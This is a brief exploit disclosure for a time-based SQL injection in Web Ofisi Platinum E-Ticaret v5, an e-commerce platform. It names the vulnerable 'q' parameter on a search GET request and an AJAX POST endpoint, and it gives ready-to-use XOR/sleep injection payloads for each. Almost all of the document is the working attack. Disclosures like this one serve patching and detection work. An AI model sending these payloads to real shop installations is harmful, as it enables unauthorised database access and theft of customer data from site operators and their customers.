Web Ofisi Platinum E-Ticaret version 5 suffers from a remote SQL injection vulnerability.
61b2da1ae1da49bb1abf1bed7dcb47a80817d1edf460ab96ccbcf1a68ca1fbce
# Exploit Title: Web Ofisi Platinum E-Ticaret 5 - 'q' SQL Injection
# Date: 2019-07-19
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://www.web-ofisi.com/detay/platinum-e-ticaret-v5.html
# Demo Site: https://demobul.net/eticaretv5/
# Version: v5
# Tested on: Kali Linux
# CVE: N/A
----- PoC 1: SQLi -----
Request: https://localhost/[PATH]/arama?kategori=&q=
Vulnerable Parameter: q (GET)
Payload: 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z
----- PoC 2: SQLi -----
Request: https://localhost/[PATH]/ajax/productsFilterSearch
Vulnerable Parameter: q (POST)
Payload:
kategori=&pageType=arama&q=0'XOR(if(now()=sysdate()%2Csleep(0)%2C0))XOR'Z&sayfa=1